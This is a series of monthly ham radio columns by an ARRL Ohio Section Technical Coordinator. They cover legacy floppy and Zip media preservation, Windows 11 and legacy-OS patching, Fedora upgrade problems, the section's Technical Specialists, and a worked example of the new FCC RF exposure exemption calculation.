Being anywhere from 15-25 years old or more, another reason for doing this is because new computer systems (desktops/laptops) are not coming with devices to read legacy media. The new laptop I received from work doesn’t even have standard USB (A) or HDMI ports! Most keyboards, mice, USB drives, image scanners, SDR dongles, etc. still use that type of port. This machine only comes with USB-C and I need an assortment of dongles to connect standard keyboards, mice, and monitors to the new laptop. They took a cue from Apple MacBook.

While I still have 5.25″ disks, it was a much small number. Probably under 15. 3.5″ disks, I probably have 150 – 200 laying around. Whether I got lucky, the drive/medium are of better quality, or better error correction/recovery, I had no problem reading the 5.25″ disks. I thought: older medium, more problems. That was not true in my case.

Standard disclaimers: copying of some software (though the company may be long gone out-of-business), is still considered piracy – though highly unlikely really anyone cares. You are free to do with this information as you wish.

Locating drives and media

First, locate legacy media (floppies, Zip disks, CD/DVD-ROMs) to be preserved. If labeled correctly, you might be able to tell right away which ones are worth saving. Things you or your kids did when they were younger might be worth saving, but that old accounting program, probably not. Emulation and virtualization technologies have come a long way and is quite possible to get those old programs running again with a little effort. That’s another article.

Next – locate a device to read that media. Throughout the years, I’ve hung on to a handful of old floppies, Zip, and, CD/DVD drives. Before throwing in the towel this early, consider that it might be easier than you think to locate a drive – should one not be readily available. A floppy disk drive, floppy cable, and old motherboard with a floppy controller is all you really need.

8-inch, 5¼-inch, and 3½-inch floppy disks (Wikipedia)

To find 8″ drives, you’re probably going to eBay, computer surplus shops, or even a hamfest. They’re “vintage” on eBay, therefore asking prices are $100 and up for a drive. These old drives have been successfully connected to modern PCs with the help of an external controller or adapter. My 5.25″ floppy drive connected and worked just fine on a motherboard (late 2000’s era) I had laying around with a floppy controller. If a motherboard is not available, a floppy controller with USB capabilities from KryoFlux or GoTek would do the job. 3.5″ floppy drives are readily available, have USB connections and cost about $20. Consider 5.25″ and 3.5″ combination drives if both formats are needed.

Early Zip drives came as an external device with a parallel port connection. They were god-awful slow. With more than a few Zip disks to copy, look for a drive with an ATAPI (IDE) connection if you have a motherboard with an IDE controller. Otherwise, opt for the USB drive version. ATAPI isn’t breaking any speed records either. They are quicker and you don’t have to find a motherboard with a parallel port and locate Zip drive drivers. The Zip 250 and 750 drives can read lower capacity disks. The Zip disk format has been long dead and the Iomega company was bought and sold a few times, eventually being completely discontinued. All of these drives will be surplus/eBay/hamfest finds.

Operating system support still exists, at least on the PC side. A Windows 7 64-bit operating system handled all the formats I threw at it: 5.25″ floppy, 3.5″ floppy, Iomega Zip 100 ATAPI, and obviously CD/DVD. The Zip ATAPI/IDE interface showed up as a standard removable disk drive. An older PC with an older operating system increases your chances of a working combination.

Parallel port Zip drive and disk (How-to Geek)

Zip disks, in particular, had a proprietary software method of preventing accidental writing to the disk or requiring a password to read the disk. In the case where any of these protections were used, or any other proprietary method of encrypting media, those conditions under which the media was “locked” will likely need to be recreated in order to read or decrypt the data. The same legacy drive connected to a PC, same legacy operating system with drivers/applications used to write-protect or encrypt the disk – if you still have copies of all those programs. Not to mention, remembering the password.

CDs and DVDs were no problem as those formats are somewhat current and operating systems include native support for those drives. Fedora 33 worked with all, though it doesn’t automatically load the floppy driver by default. I had to:

sudo modprobe floppy

I did not test a copy of Windows 10. A Win10 rescue disk worked just fine with all formats so I suspect Windows 10 will be fine as well. Copying the data can be as easy as opening the drive in the desktop, selecting the contents, and copying files to a directory on your hard drive.

ISO files are a single file that contains the entire CD/DVD/Blu-Ray disc structure to precisely duplicate a disc. These are often used when downloading Linux/Unix distributions. Windows 10 can be downloaded as an ISO as well. Many utility and recovery tools available as ISO downloads are meant to be burned to disc or written to a bootable USB drive. Nearly all CD/DVD/Blu-ray authoring programs have the option of creating or burning ISO files.

IMG (sometimes referred to as IMA, standing for “image”) files are similar to ISOs but for floppy disks. IMG files are a single file, raw sector dump, of a medium. I have no scientific data to indicate drag-and-drop copying is just as-good-as creating an image file. If I had to guess reasons an image would be a better option: maybe a form of copy protection looks at a specific sector for a known value or possibly date & time stamps. If something wasn’t as expected, it might fail believing a copy was made. I came across one instance where straight copying files caused special characters to be converted. A “~” was converted to “_”. This is more likely to cause an issue for an installer program because a filename doesn’t match. To me, it just seems better to make a raw copy of the disk. Once again, the more complicated method is my preferred method.

My goal was to have an image made directly from the disk. In reading up, examples showed creating a ‘blank floppy image’ file, reading disk contents, and writing to the blank image. I did not want that as total disk size could be different. Disks containing my documents or picture files, I copied those to a folder on a hard drive. Disks containing programs or installation media, images of the disk were made.

A raw sector dump of a floppy disk occupying the same amount of space as if the disk was completely full. 1.44 MB disks will take up 1.44 MB, even if only 300K is written to the disk. 720K disks take up 720K. CD/DVD/Blu-ray ISO and BIN files will be the same size as the total amount of data written on the disc (333 MB disc = 333 MB ISO). For multi-gigabyte and terabyte hard drives, these sizes are nothing.

Next time, my adventures continue into creating, using, and storing image files.

The Section is sponsoring learning and exploring sessions. Technical Specialist Jason – N8EI will be presenting one of those sessions on August 31st. Details have been published in recent PostScrips and later in this edition. His topic is “Beyond the Baofeng: Thoughts on Equipment Choices for New Hams.” You received your license. Picked up a $20 Baofeng. Tried to reach some repeaters with it. Now what? Now comes a real station. He touches on prioritizing equipment purchases and gives recommendations on radios. It will be a good one not only for newly licensed hams but hams looking to improve their station.

Thanks for reading and 73… de Jeff – K8JTK

Ohio Section Journal – The Technical Coordinator – July 2021 edition

One of the responsibilities of the Technical Coordinator in the Ohio Section is to submit something for the Section Journal. The Section Journal covers Amateur Radio related things happening in and around the ARRL Ohio Section. It is published by the Section Manager Tom – WB8LCD and articles are submitted by cabinet members.

Once my article is published in the Journal, I will also make it available on my site with a link to the published edition.

You can receive the Journal and other Ohio Section news by joining the mailing list Tom has setup. You do not need to be a member of the ARRL, Ohio Section, or even a ham to join the mailing list. Please sign up!

If you are an ARRL member and reside in the Ohio Section, update your mailing preferences to receive Ohio Section news in your inbox. Those residing outside the section will need to use the mailing list link above.
Updating your ARRL profile will deliver news from the section where you reside (if the leadership chooses to use this method).
Go to www.arrl.org and logon.
Click Edit your Profile.
You will be taken to the Edit Your Profile page. On the first tab Edit Info, verify your Email address is correct.
Click the Edit Email Subscriptions tab.
Check the News and information from your Division Director and Section Manager box.
Click Save.

Now without further ado…


Read the full edition at:

THE TECHNICAL COORDINATOR
Jeff Kopcak – TC
k8jtk@arrl.net

DSCF5081 K8JTKHey gang,

Coming soon: Windows 11. Wait, wasn’t Windows 10 the “last version of Windows?” Yes. Now, no. People interpret that statement to mean once you’ve upgrade to Windows 10, there would be free upgrades forever and you would never have to pay for another version of Windows. Microsoft: we kind of meant that but not really, it’s only “reflective” of delivery in an ongoing manner. On June 24th, Microsoft announced its next major version of the Windows operating system expected for release later in 2021.

As of this writing, no official release date has been set. Though a retirement date for Windows 10 in 2025 has been published. Retiring (or end-of-life) means after 10/14/2015, no mainstream support will be available for security updates, fixes, and enhancements. Businesses, or those paying for extended support. will likely have updates available for some time longer. The 2025 date puts Windows 10 in at over 10 years of service life, just a few months short of Windows 7’s service life. Has Windows 10 been out that long??

Microsoft is nothing, if not clear, in their statements and announcements. In Microsoft fashion, there is plenty of confusion around system requirements. Microsoft states that more than half, as much as 60%, of the PCs running Windows 10 today could not run Windows 11. I figure many systems upgraded from Win 7 to 10 will not meet the minimum requirements. Those who’ve bought a packaged PC since July 2016 should be good to upgrade and can upgrade for free. The reason for July of 2016 is when Microsoft required system integrators to include the TPM in new systems shipped after that date. TPM is used to generate cryptographic keys ensuring system integrity and security at system boot. DIY motherboards had this built in since about 2015. New PCs will see Windows 11 included as part of the entire purchase price. System builders will likely see the same prices as Windows 10, about $100 for Home and a little more for the Pro edition.

Home version of Windows 11 will require an Internet connection and a Microsoft account to complete first-time setup. If you have an account for Hotmail, Outlook, OneDrive, Office, or Xbox – you’re all set. If not, one can be created for free. Though nothing says you can’t unlink the account after setup. This connection between Windows and a Microsoft account has been used to store license information and retrieve a license should, when, a reinstall is needed. It also enables “cloud” features allowing some settings and preferences to be synced across all devices logged in with the same account. Pro versions can opt to use a Microsoft account or create a local account.

What else is new in Windows 11? “Sweeping” redesign of the user interface – to make it look more like a Mac – starting with a center aligned taskbar. A design choice aimed at touch users (tablets, Microsoft Surface devices). To be fair, GNOME has long adopted the center aligned taskbar as well as the Mac. Another start menu redesign “powered by the cloud” – which allows internet searches directly and synced documents across devices running Office 365. Microsoft Teams is directly integrated. Teams is the messaging and collaboration platform that started out as MSN Messenger and later absorbed Skype. To gain traction for the Windows Store (which no one ever went into), Windows will now be able to run Android apps natively.

Before the Microsoft announcement, a leaked build of Windows 11 appeared on the Interwebs. It appeared to be locked down to virtual machines only. Those that obtained the leaked version had significant issues installing it on bare metal. Not even an issue installing it on a virtual machine. The build might have been locked down to virtual machines for testing and demonstration purposes.

Windows 11 desktop (Wikipedia)

Since the announcement, a downloadable ISO image is still not available. There are guides how to download all the necessary files and build one yourself if you so choose to test out the preview on a real machine with a clean install. The official way is to enroll in the Insider program and do an in-place upgrade on a Windows 10 machine. This is done by signing into a Microsoft account in Windows 10, register for the Insider program online, enroll the device in the settings pane, then change Insider settings to the “Dev Channel.”

Though reviews have been initially positive about the new release, it seems very much like Windows 10 under the hood with the user interface redesign and improvements. Videos I saw had very good experiences gaming on the preview build leading more credence to it being Windows 10 underneath. If you’re like me and didn’t enjoy the user experience of having things buried, needing to do more clicks to accomplish the same/simple tasks, and ultimately moving to Linux as a result of Windows 10, this is going to be a ‘meh’ release for you as well.

On the subject of Windows. While I run Linux primarily and rag on current versions of Windows, if you are still running Windows 7 (which I am) or even XP on your machines, this is another friendly reminder to remediate, remove, or update unsupported versions of Windows. Removing would be replacing the machine or upgrade to a supported version of Windows if available. Remediate would be to remove Internet access to that device and remove its ability to access other devices on the Local Area Network by properly segmenting the device. Use of a hardware firewall appliance to block and monitor device communications is preferred. Should those options be unavailable, look to invest in a reputable service that provides patches for legacy operating systems such as 0patch (pronounced “zero patch”). 0patch Pro for Windows 7 end-of-support patching is available for 22.95 EUR +tax/computer (agent)/year, about $27 USD.

Vulnerabilities, such as PrintNightmare, will continue to be discovered. In situations such as this, emergency patches will be graciously released by Microsoft for unsupported operating systems but don’t expect this to continue. Vulnerabilities like this have always existed in affected operating systems but were only recently disclosed. PrintNightmare is a vulnerability in the Windows print driver, of all things. It allows a bad guy that has or can gain low level access to any affected Windows machine to take control of the local machine or domain controller gaining control of the entire domain. That second part regarding domains is not applicable to average users, only power users and corporations. Not to be out done by the exploit Microsoft botched the initial patch leaving systems still vulnerable. You would think a company worth $2 trillion would have the resources to fix the issue in its entirety.

Linux is not getting out unscathed this month too. I’ve talked about how I moved to Fedora and their very aggressive end-of-life cycle. Fedora 34 was released at the end of April. Typically, I’ll wait two months or so to let the bugs get sorted out in this community supported operating system. Realizing it had been three months since release, I took the dive and upgraded all my Fedora systems at once. Bad decision. I had two initial problems. My RAID array is showing individual disks in file explorer. This is a problem because it should never show individual disks. More to the point, if I accidentally write to an individual disk instead of the array because all elements are labeled the same (only the icon is different), the disk becomes out of sync with the rest of the array which would almost certainly result in data loss. The second is Redshift (shifts the screen color to red as it becomes later in the day to reduce eye strain) which keeps throwing an error at logon that all of a sudden manifested itself… from 2016. What? It’s been about an issue per day I’m discovering. Applications disappearing from the task bar is another very annoying issue. A downgrade attempt failed on the laptop which means wiping the operating system partition and re-installing Fedora 33. /home is on a separate partition meaning my files and most settings would be OK. Then praying 35 is not such a dud.

The Section is sponsoring learning and exploring sessions. Technical Specialist Jason – N8EI will be presenting one of those sessions on August 31st. Look for details in this edition or in forthcoming communications from our Section Manager. His topic is “Beyond the Baofeng: Thoughts on Equipment Choices for New Hams.” You received your license. Picked up a $20 Baofeng. Tried to reach some repeaters with it. Now what? Now comes a real station. He touches on prioritizing equipment purchases and gives recommendations on radios. It will be a good one not only for newly licensed hams but hams looking to improve their station.

Van Wert Hamfest

I’m jiddy that Hamfests are returning. I made both NOARSFest in Elyria and the Van Wert Hamfest last weekend. NOARSFest seemed like a few more were in attendance over previous years. That was the last hamfest I attended before we were sequestered to our homes so it was fitting being the first one to return. Van Wert had a perfect day for holding a hamfest – though it was quire foggy on the ride out, maybe due to the wildfires out west. Even though I attended school in the area and traveled often for work, never made it to Van Wert. Their ‘fest was one I’ve been wanting to attend for some time. Figured I would take in all that I can and support hamfests as much as I can this year seeing as all were canceled leaving clubs without that income over the last year.

Thanks for reading and 73… de Jeff – K8JTK

Ohio Section Journal – The Technical Coordinator – June 2021 edition

One of the responsibilities of the Technical Coordinator in the Ohio Section is to submit something for the Section Journal. The Section Journal covers Amateur Radio related things happening in and around the ARRL Ohio Section. It is published by the Section Manager Tom – WB8LCD and articles are submitted by cabinet members.

Once my article is published in the Journal, I will also make it available on my site with a link to the published edition.

You can receive the Journal and other Ohio Section news by joining the mailing list Tom has setup. You do not need to be a member of the ARRL, Ohio Section, or even a ham to join the mailing list. Please sign up!

If you are an ARRL member and reside in the Ohio Section, update your mailing preferences to receive Ohio Section news in your inbox. Those residing outside the section will need to use the mailing list link above.
Updating your ARRL profile will deliver news from the section where you reside (if the leadership chooses to use this method).
Go to www.arrl.org and logon.
Click Edit your Profile.
You will be taken to the Edit Your Profile page. On the first tab Edit Info, verify your Email address is correct.
Click the Edit Email Subscriptions tab.
Check the News and information from your Division Director and Section Manager box.
Click Save.

Now without further ado…


Read the full edition at:

THE TECHNICAL COORDINATOR
Jeff Kopcak – TC
k8jtk@arrl.net

DSCF5081 K8JTKHey gang,

As Technical Coordinator for the Ohio Section, I oversee the section’s group of Technical Specialists. The Specialists and I are here to promote technical advances and the experimentation side of the hobby. We encourage amateurs in the section to share their technical achievements with others in QST, at club meetings, in club newsletters, hamfests, and conventions. We’re available to assist program committees in finding or providing suitable programs for local club meetings, ARRL hamfests, and conventions within the section. When called upon, serve as advisors for RFI issues and work with ARRL officials and other appointees for technical advice.

Technical Specialists are a cadre of qualified and competent individuals here for the “advancement of the radio art,” a profound obligation incurred under the rules of the FCC. TS’s support myself and the section in two main areas of responsibility: Radio Frequency Interference (RFI) and Technical Information. They can specialize in certain areas or be generalists in those areas of responsibility. Those responsibilities include serving as consultants or advisors to local hams or speaking at local club meetings on popular topics.

In the Ohio Section, there are 14 qualified specialists able and willing to assist. EMI/RFI includes harmful interference that seriously degrades, obstructs, or repeatedly interrupts a radio communication service such as ham radio or public service agencies. RFI sources range from bad power insulators, industrial control systems, other transmitters or poorly made transmitters, personal devices like computers, monitors, printers, game consoles, to grow lights, failing transformers, and poorly made transformers – including one’s hams brag about getting from China for a few dollars. I die a little inside when I hear this. Our Technical Specialists can offer advice to help track down interference or locate bozo stations. Technical information is a wide-ranging category including everything from antennas to Zumspots.

How can we help? The knowledge and abilities of YOUR Technical Specialists are really quite impressive. Here are some examples:

  • Antennas (fixed, portable, and emergency operation type) and feedlines
  • Antenna systems such as towers, guying, coax, and baluns
  • RF and tower safety
  • Grounding
  • Propagation
  • Electronics and circuits
  • Tube technology, aka boat anchors
  • Voice and data modes – including D-STAR, DMR, Fusion, NXDN, P25, APRS, IGates, packet, MT63, FT8/4, Olivia, PSK, and using programs like Fldigi
  • NBEMS – Narrow Band Emergency Messaging System
  • Computers, Windows and Linux, Raspberry Pi
  • Embedded devices
  • Networking: IP networks, AMPRNet, routers, firewalls, security, mesh, and microwave
  • Repeaters, controllers, and high-profile systems
  • Internet and VoIP linking systems – Echolink, AllStar, HamVoIP, DVSwitch, and PBX/Asterisk
  • RFI detection from power lines and consumer devices including working with governmental agencies to track down interference
  • Professional certifications such as Motorola Certified Technicians, Certified Journeyman Electronics Technician, General Radiotelephone Operator License (GROL), and Society of Broadcast Engineers (SBE) affiliations

This impressive list of qualifications is an available resource to all in the Ohio Section. Looking for guidance in one or more of these areas? Need a program for your club meeting? How about a technical talk or forum at your hamfest? Assistance or direction on a project? Feel free to contact myself. My contact info is near my picture and on the arrl-ohio.org website. I’ll assist getting you in touch with an appropriate Technical Specialist. If you’re interested in being a Technical Specialist, take a look at the description on the ARRL site and get in contact with me. I’ll keep you in mind when a spot opens up.

One of the activities that got canceled over the last year-and-a-half was the West Chester Amateur Radio Association’s (WCARA) trip to K3LR’s contest station. The station is not far into Pennsylvania on I-80. You’ve likely seen it if you’re taking the turnpike into PA and look to the right about a mile after crossing the border. I decided to get out of the house and have my second tour of this marvelous station. For me, it’s only about an hour and a half drive. The rest of the club came fr

K3LR operating positions

om just north of Cincinnati, closer to 5+ hours each way with breaks and food. Tim is an excellent host as always and an amazing engineer. He built the station over 35 years and has one of the quietest noise floors you’ll ever see. As he’ll tell you, it didn’t come easy. He’s got really good stories including one involving a late-night party. I’ll leave that one for him to tell! It was great to get out of the house for a day and hang out at a superstation with the guys from VOA.

Above the clouds – antenna changeout view (YouTube)

Speaking of towers, if you’re like me and wonder what it’s like to work at a commercial tower site or TV tower, I came across a half hour video of tower work from the crew’s prospective. This video documents the entire changeout of the antenna from removing the old one to putting the new one in place. The tower crew and air-crane crew replace the television transmitting antenna for WTVX in West Palm Beach, Florida. You get to see what it is like to be working on a 1,500′ tower. It’s quite impressive with breathtaking views but one of the riskiest jobs in the world.

Field Day is completed by the time you read this. Keep this in mind for next year. Sending 10 messages over RF from your site gets you 100 bonus points – including Winlink messages. I love to receive messages about your setup, stations, operating, or social activities taking place. These can be sent via the National Traffic System (NTS) or Winlink – K8JTK at Winlink.org – to my station. Field Day rules state messages must leave via [ham radio] RF from the site (7.3.6). It does not state “formal messages” be in any particular format or utilize any particular network. A message to the SM or SEC must be in radiogram format and leave via RF or no credit will be given (7.3.5). Copies of messages are included with the submitted Field Day report.

With July around the corner, if you’re looking to do something while flipping burgers at your 4th of July picnic, my favorite event is the 13 Colonies Special Event which will be on the air July 1st (9AM) – July 7th (midnight). There is an additional France bonus station this year, TM13COL. This is in addition to the bonus stations WM3PEN and GB13COL. A station does not need to work all 13 colonies to receive a certificate. The three bonus stations do not need to be contacted for a clean sweep.

Thanks for reading and 73… de Jeff – K8JTK

Ohio Section Journal – The Technical Coordinator – May 2021 edition

One of the responsibilities of the Technical Coordinator in the Ohio Section is to submit something for the Section Journal. The Section Journal covers Amateur Radio related things happening in and around the ARRL Ohio Section. It is published by the Section Manager Tom – WB8LCD and articles are submitted by cabinet members.

Once my article is published in the Journal, I will also make it available on my site with a link to the published edition.

You can receive the Journal and other Ohio Section news by joining the mailing list Tom has setup. You do not need to be a member of the ARRL, Ohio Section, or even a ham to join the mailing list. Please sign up!

If you are an ARRL member and reside in the Ohio Section, update your mailing preferences to receive Ohio Section news in your inbox. Those residing outside the section will need to use the mailing list link above.
Updating your ARRL profile will deliver news from the section where you reside (if the leadership chooses to use this method).
Go to www.arrl.org and logon.
Click Edit your Profile.
You will be taken to the Edit Your Profile page. On the first tab Edit Info, verify your Email address is correct.
Click the Edit Email Subscriptions tab.
Check the News and information from your Division Director and Section Manager box.
Click Save.

Now without further ado…


Read the full edition at:

THE TECHNICAL COORDINATOR
Jeff Kopcak – TC
k8jtk@arrl.net

DSCF5081 K8JTKHey gang,

The new FCC exposure requirements. Maybe you’ve heard about them. Maybe not. Maybe wondering how they apply to your station. The FCC Report and Order does not change RF Exposure (RFE) limits but does require all services, including amateur radio, to evaluate limits or take the exemption. There’s probably a lot I don’t understand. With respect to those much smarter than myself, I’ll try my best to explain this but I’m probably going to get some stuff wrong. In addition to covering reasons for these changes and what they mean to most hams, I’ll walk through an exception calculation. Those are easiest and likely the only calculation a ham might need to perform in most cases.

In 2019, the FCC adopted new rules to limit human exposure to radio frequency energy. These rules went into effect on May 3rd, 2021. Not much changed in these new rules except that Amateur Radio is no longer categorically excluded from performing these evaluations to demonstrate compliance. Previously, only when a station exceeded certain power limits was an evaluation required. For the most part, operating barefoot on HF (without an amplifier, typically 100 watts or less) or operating most dual band radios with 50 watts or less, all were categorically exempt. The second exclusion, no mobile stations had to perform these evaluations. Both exclusions are now removed, gone. Exclusions are replaced with the exemption.

Removing the amateur radio exclusions means hams are now required to perform evaluations in all cases. But! You do not submit anything to the FCC. Do the evaluation, print out/save results or put notes on paper – they are to be kept with each station’s records. These records would be used in a situation where a complaint is filed with the FCC against your station. Such as: neighbor doesn’t care for your tower/antenna. Writes the FCC saying their family is subject to harmful radiation. The FCC takes those complains fairly seriously and will come knocking for an inspection (which they can – and will do. See 97.103, (a) and (c) specifically). The representative may ask for this evaluation. They will implicitly trust the results if they appear to be correct and the station is otherwise compliant. This is the self-regulation abilities we are allotted by the FCC. The FCC will inform the neighbor, based on evaluation of the station, it was found to be compliant and they have nothing to worry about. Another scenario maybe a building permit is sought in order to erect a tower. The entity that grants the permit might ask to have an evaluation completed.

In any case, each amateur station certifies, on their 605 form, they will comply with Radiofrequency Radiation Safety. Licensed hams are considered trained in safety by way of passing the license exam. Completing an RF safety evaluation does not exempt any station from being otherwise compliant and responsible. If a station is transmitting, someone comes up and touches the antenna, the station operating the equipment is still responsible.

If you were one that completed an evaluation under the old rules, that evaluation is still valid until 2023. You have 2 years to complete an evaluation under the new rules. Every station (not grandfathered under the old rules) must complete an evaluation after May 3, 2021 – including new stations or when any significant changes are made to an existing. Changes would include an increase in power, better antenna, better coax, moving the antenna closer to areas occupied by humans. HTs manufactured before May 3, 2021 are grandfathered – no evaluation needed ever. HTs manufactured after May 3, a SAR (Specific Absorption Rate) evaluation is performed by the manufacturer.

The exemption calculation is a formula which indicates if the antenna is compliant or more evaluation is needed. Exemptions require less calculations than a full exposure analysis. Exemptions cannot be taken with in the reactive nearfield. Distance to a person is important. Any transmitter within 20 cm (7.87 inches) of the body is considered in the nearfield and requires a SAR evaluation. Nearfield also varies with frequency.

The HT falls into this weird area because they are almost always used within 7.87 inches of the body. At this time, the methods for completing an evaluation are not clear for a few reasons: 1) above 300 MHz is not really measurable, which only affects 2-meter handhelds. 2) SAR evaluations are very costly and require specially calibrated equipment. 3) absorption inside the body is very hard to measure. Cell phone manufactures have to complete SAR evaluations for every handset and antenna configuration. To add insult-to-injury, a SAR would have to be completed in each position of the radio. That is to say holding the radio straight up, slight angle, talking across the microphone, holding the radio with the right hand, left hand, and so on. Cha-ching! Not so fast. Radio manufactures will be responsible for performing this SAR evaluation. In the evaluation, they will likely use the stock rubber duck antenna provided with the radio. If you change the antenna (as most of us do) with a 3rd party or aftermarket, that means all evaluations need to be performed using the new configuration. This is an area the ARRL is still working out with the FCC for clarification. Right now, your HT is OK. Will manufacturers pass on the cost to the consumer? Unknown for sure but very likely.

MPE chart (hamradioschool.com)

Don’t forget these evaluations need to be performed at field day sites, repeater sites, and beacon locations. Field day sites may need restrictions placed on frequency or power allowed to meet the requirements. Adjustments to antennas maybe needed, adding time to the field day setup.

In places where SAR is performed, an MPE (Maximum Permissible Exposure) chart displays the amount of energy which should not be exceeded at different frequencies. There are two different categories: occupational/controlled exposure (hams and their families) at 6-minute average and general population/uncontrolled (everyone else, such as neighbors) with a 30-minute average. MPE is lowest between 30 MHz and 300 MHz because those frequencies are easily absorbed by the human body.

Say we have a station with a multiband antenna (20-10 meters) with 0 dbd of gain (manufacturer specs). There is a sidewalk 15 feet (5 meters) away (closest human exposure to radiation) from the antenna. The transmitter outputs 100 watts into 50 feet of RG-58. The highest frequency in operation is 29.70 MHz. 50 feet of RG-58 at 29.7 MHz is rated at 1db of loss (mfr specs), which is 22% (find a gain/loss table or calculator for this percentage).

First, are people within the distances (antenna to human) in the table below for near field exposure?

Nearest person would be 15 feet away and lowest band we plan to operate is the 20-meter band since the antenna is capable. No, humans are not within the reactive nearfield (10.3 feet). We can continue with the exemption calculation. If humans are within the nearfield, a full evaluation needs to be completed.

Next, calculate the maximum ERP. For a multiband antenna, ERP decreases at higher frequencies so you only need to calculate at the highest frequency the station plans to use. 10 meters in this case.

3450 R2/f2 = Maximum ERP (formula for the range 1.34-30 MHz)

3450 x (5 meters)2 / (29.7 MHz)2 = 97.8 watts maximum ERP

Calculate the station’s ERP:

(Transmitter power – Feedline loss) x Antenna gain = ERP

(100W – 22W) x 1.0 = 78 Watts ERP

To compare, 78 watts is less than 97.8 watts. This antenna qualifies for an exception!

What happens if the station cannot take the exception? If you never transmit 29.7 MHz and only plan to use lower frequencies, calculate at the lower frequency. Move the antenna further away from the sidewalk. Or perform a full evaluation. The exemption numbers are verrry conservative numbers and conservatively safe. If actual exposure is calculated on the sidewalk, it will be less than the exception calculation. Averaging time is not taken into account. If the station talks for 15 minutes and listens for another 15 minutes, the exposure is halved. Areas like a sidewalk, people are likely to be there for only a few seconds at a time.

Online calculators are a huge help in performing power density estimations. VP9KF’s calculator performs MPE calculations. The Lake Washington Ham Club site calculates MPE by taking into account transmitter duty cycle. It will provide minimum safe distance to the antenna.

To perform a full analysis, the FCC aid for evaluating human exposure is OET Bulletin 65 and OET Bulletin 65 supplement B. The no-longer-in-print book by Ed Hare – W1RFI is available for download as a PDF. Modeling software is available for free or little cost. One such modeling application is EZNEC. The ARRL is working on finding or developing tools for all hams to use. Those can be found at: http://www.arrl.org/rf-exposure and the ARRL Technical Information Service is a member benefit that can provide more information. Finally, Greg – N9GL, Chairman of the ARRL RF Safety committee, gave a very informative presentation on these changes. It runs 2 hours with Q&A. Ria – N2RJ, director of the ARRL Hudson Division, has a YouTube channel with a video on this topic. The majority of the information in this article came from both videos, thanks to both Greg and Ria.

FCC Radio Frequency Exposure Rules from Dan Marler on Vimeo.

Recent FCC NPRM’s have put ham radio use of the 5GHz band at risk. These frequencies are utilized for things like mesh networking. Who wants to take away these allocations? Commercial interests to push the 5G mobile standard. These same interests have already taken part of the 3 GHz WiFi band. ARDEN Mesh is fighting back, legally, against repurposing these allocations. If you have 5 GHz AREDN mesh nodes in the lower 45 – 5.850-5.895 GHz or upper 30 – 5.895-5.925 GHz channels, please take the time to read and respond to their solicitation for information.

Another huge thank you to the West Chester Amateur Radio Association – WC8VOA, which I’m also a member, for having me as the presenter at their May 6th meeting. West Chester is a suburb of Cincinnati and I’m in a suburb of Cleveland so this meeting was all virtual. The presentation was on ham radio VoIP modes (Voice over IP) and my system that links these modes together. There was great questions and discussion around VoIP. This is the club that operates out of the Voice of America Museum and holds tours during Hamvention. You can find their Monday night net on my system at 8pm.

That’s about it for this month. Thanks for reading and 73… de Jeff – K8JTK